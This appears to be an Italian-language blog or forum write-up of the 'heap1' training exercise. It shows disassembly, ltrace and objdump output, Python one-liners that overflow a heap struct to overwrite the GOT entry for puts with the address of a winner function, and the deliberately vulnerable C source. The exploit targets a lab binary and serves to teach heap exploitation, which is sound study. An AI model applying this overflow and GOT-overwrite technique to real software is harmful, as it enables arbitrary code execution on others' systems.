SPAGHETTI HACKER

  1. HEAP1 - bash
    log.00a

    Tags
    bugs
    By AKIRA BASHO il 22 Dec. 2022
     
    0 Comments   49 Views
    .
    B1sAT8A

    r2 ./heap1
    aaa
    afl
    s main

    [0x080484b9]> pdf
    ;DATA XREF from entry0 @ 0x80483f7(r)
    175: int main (char **argv);
    ;arg char **envp @ ebp+0xc
    ;var char *src @ esp+0x4
    ;var void **var_14h @ esp+0x14
    ;var void **var_18h @ esp+0x18

    ;char *src esp+4
    ;**argv ebp+0xc, array argv
    ;esp+0x14 ; 20 byte, array di array
    ;esp+0x18 ; 24 byte, array di array

    0x080484b9 55 push ebp
    0x080484ba 89e5 mov ebp, esp
    0x080484bc 83e4f0 and esp, 0xfffffff0
    0x080484bf 83ec20 sub esp, 0x20 ;32 byte
    0x080484c2 c70424080000. mov dword [esp], 8 ;size_t size
    0x080484c9 e8eefeffff call sym.imp.malloc ;void *malloc(size_t size)

    ;eax = indirizzo della memoria allocata, di 8 byte, sono 4+4, 4 byte per l'intero e 4 byte per il puntatore a char

    0x080484ce 89442414 mov dword [var_14h], eax
    0x080484d2 8b442414 mov eax, dword [var_14h]
    0x080484d6 c70001000000 mov dword [eax], 1

    ;esp+0x14 ; 8 byte allocati
    ;in [var_14] c'è l'indirizzo della memoria allocata con la malloc; e questo indirizzo lo andiamo a mettere in eax e lo andiamo a valorizzare con 1;
    ;var_14h -> [1, memoria allocata]


    0x080484dc c70424080000. mov dword [esp], 8 ;size_t size
    0x080484e3 e8d4feffff call sym.imp.malloc ;void *malloc(size_t size)
    0x080484e8 89c2 mov edx, eax

    ;altri 8 byte il cui indirizzo ritornato dalla malloc lo andiamo a mettere in edx
    ;rimettiamo l'indirizzo di var_14 in eax
    ;e quindi in eax+4 ci andiamo a mettere l'indirizzo della memoria allocata con la seconda malloc;


    0x080484ea 8b442414 mov eax, dword [var_14h]
    0x080484ee 895004 mov dword [eax + 4], edx

    ;var_14h -> [1, memoria allocata]

    0x080484f1 c70424080000. mov dword [esp], 8 ;size_t size
    0x080484f8 e8bffeffff call sym.imp.malloc ;void *malloc(size_t size)

    ;altri 8 byte; questa volta l'indirizzo ritornato dalla malloc lo mettiamo in var_18h, lo mettiamo in eax, e dopo lo andiamo a valorizzare con 2

    0x080484fd 89442418 mov dword [var_18h], eax
    0x08048501 8b442418 mov eax, dword [var_18h]
    0x08048505 c70002000000 mov dword [eax], 2
    0x0804850b c70424080000. mov dword [esp], 8 ;size_t size
    0x08048512 e8a5feffff call sym.imp.malloc ;void *malloc(size_t size)

    ;altri 8 byte con la malloc

    0x08048517 89c2 mov edx, eax
    0x08048519 8b442418 mov eax, dword [var_18h]
    0x0804851d 895004 mov dword [eax + 4], edx

    ;anche qui, eax + 4 punta alla location adiacente, cioè al puntatore a char e qui ci mettiamo l'indirizzo ritornato dalla malloc
    ;var_18h -> [2, memoria allocata]


    0x08048520 8b450c mov eax, dword [argv]
    0x08048523 83c004 add eax, 4
    0x08048526 8b00 mov eax, dword [eax]

    ;add eax, 4 l'elemento successivo nell'array argv
    ;mi prendo il contenuto, lo metto in edx


    0x08048528 89c2 mov edx, eax
    0x0804852a 8b442414 mov eax, dword [var_14h]
    0x0804852e 8b4004 mov eax, dword [eax + 4]

    ;in eax ci vado a mettere l'elemento successivo dell'array puntato da var_14h

    0x08048531 89542404 mov dword [src], edx ;const char *src
    0x08048535 890424 mov dword [esp], eax ;char *dest
    0x08048538 e84ffeffff call sym.imp.strcpy ;char *strcpy(char *dest, const char *src)

    ;var_14h -> [1, argv[1]]
    ;qui faccio la prima strcpy, dove la sorgente è la argv[1], e la destinazione è var_14[1]


    0x0804853d 8b450c mov eax, dword [envp]
    0x08048540 83c008 add eax, 8

    ;secondo elemento della argv, argv[2]

    0x08048543 8b00 mov eax, dword [eax]
    0x08048545 89c2 mov edx, eax
    0x08048547 8b442418 mov eax, dword [var_18h]
    0x0804854b 8b4004 mov eax, dword [eax + 4]
    0x0804854e 89542404 mov dword [src], edx ;const char *src
    0x08048552 890424 mov dword [esp], eax ;char *dest
    0x08048555 e832feffff call sym.imp.strcpy ;char *strcpy(char *dest, const char *src)

    ;qui faccio la prima strcpy, dove la sorgente è la argv[2], e la destinazione è var_18[1]
    ;var_14h -> [1, argv[1]]
    ;var_18h -> [2, argv[2]]


    0x0804855a c704244b8604. mov dword [esp], str.and_thats_a_wrap_folks_ ; [0x804864b:4]=0x20646e61 ; "and that's a wrap folks!" ;const char *s
    0x08048561 e866feffff call sym.imp.puts ;int puts(const char *s)
    0x08048566 c9 leave
    0x08048567 c3 ret

    ARGV1=`python -c 'import struct; print "aaaaaaaaaaaaaaaaaaaabbbb"'`
    ARGV2=`python -c 'import struct; print "cccccccccccccccc"'`

    ltrace ./heap1 $ARGV1 $ARGV2
    __libc_start_main(0x80484b9, 3, 0xfff3a924, 0x8048580 <unfinished ...>
    malloc(8) = 0x8bf41a0
    malloc(8) = 0x8bf41b0
    malloc(8) = 0x8bf41c0
    malloc(8) = 0x8bf41d0
    strcpy(0x8bf41b0, "aaaaaaaaaaaaaaaaaaaabbbb") = 0x8bf41b0
    strcpy(0x62626262, "cccccccccccccccc" <no return ...>
    --- SIGSEGV (Segmentation fault) ---
    +++ killed by SIGSEGV +

    ;attraverso ltrace vediamo che con la prima strcpy andiamo a sovrascrivere il primo campo del secondo elemento di tipo struttura che abbiamo nell'heap, in cui poi attraverso la seconda strcpy possiamo copiare qualsiasi cosa;

    ;ecco che possiamo sfruttare questo heap overflow per andare a sostituire l'indirizzo della puts nel GOT (Global Offset Table), con l'indirizzo della funzione winner che troviamo all'interno dell'eseguibile


    objdump -R ./heap1

    ./heap1: formato del file elf32-i386

    DYNAMIC RELOCATION RECORDS
    OFFSET TYPE VALUE
    0804974c R_386_GLOB_DAT __gmon_start__
    0804975c R_386_JUMP_SLOT __gmon_start__
    08049760 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
    08049764 R_386_JUMP_SLOT strcpy@GLIBC_2.0
    08049768 R_386_JUMP_SLOT printf@GLIBC_2.0
    0804976c R_386_JUMP_SLOT time@GLIBC_2.0
    08049770 R_386_JUMP_SLOT malloc@GLIBC_2.0
    08049774 R_386_JUMP_SLOT puts@GLIBC_2.0

    objdump -d -j .text ./heap1 | grep puts
    8048561: e8 66 fe ff ff call 80483cc <puts@plt>

    gdb-peda$ x/3i 0x80483cc
    0x80483cc <puts@plt>: jmp DWORD PTR ds:0x8049774

    08049774 R_386_JUMP_SLOT puts@GLIBC_2.0

    objdump -D -M intel ./heap1 | grep winner
    08048494 <winner>:

    ;08049774 R_386_JUMP_SLOT puts@GLIBC_2.0
    ;quindi con il primo argomento passato a heap1 andiamo a sovrascrivere il primo elemento della seconda struttura, con l'idirizzo del puntatore alla funzione puts nel GOT; con il secondo argomento, invece inseriamo l'indirizzo della funzione winner


    ARGV1=`python -c 'import struct; print "aaaaaaaaaaaaaaaaaaaa" + struct.pack("I",0x08049774)'`
    ARGV2=`python -c 'import struct; print struct.pack("I",0x8048494)'`

    ltrace ./heap1 $ARGV1 $ARGV2
    __libc_start_main(0x80484b9, 3, 0xffff2e54, 0x8048580 <unfinished ...>
    malloc(8) = 0x9bc31a0
    malloc(8) = 0x9bc31b0
    malloc(8) = 0x9bc31c0
    malloc(8) = 0x9bc31d0
    strcpy(0x9bc31b0, "aaaaaaaaaaaaaaaaaaaat\227\004\b") = 0x9bc31b0
    strcpy(0x8049774, "\224\204\004\b") = 0x8049774
    puts("and that's a wrap folks!" <unfinished ...>
    time(0) = 1671715200
    printf("and we have a winner @ %d\n", 1671715200and we have a winner @ 1671715200
    ) = 34
    <... puts resumed> ) = 34
    +++ exited (status 34) +++


    ./heap1 $ARGV1 $ARGV2
    and we have a winner @ 1671715233

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>

    struct internet {
    int priority;
    char *name;
    };

    void winner()
    {
    printf("and we have a winner @ %d\n", time(NULL));
    }

    int main(int argc, char **argv)
    {
    struct internet *i1, *i2, *i3;

    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name = malloc(8);

    i2 = malloc(sizeof(struct internet));
    i2->priority = 2;
    i2->name = malloc(8);

    strcpy(i1->name, argv[1]);
    strcpy(i2->name, argv[2]);

    printf("and that's a wrap folks!\n");
    }


    Edited by AKIRA BASHO - 11/4/2023, 15:30
      Share  
     
    .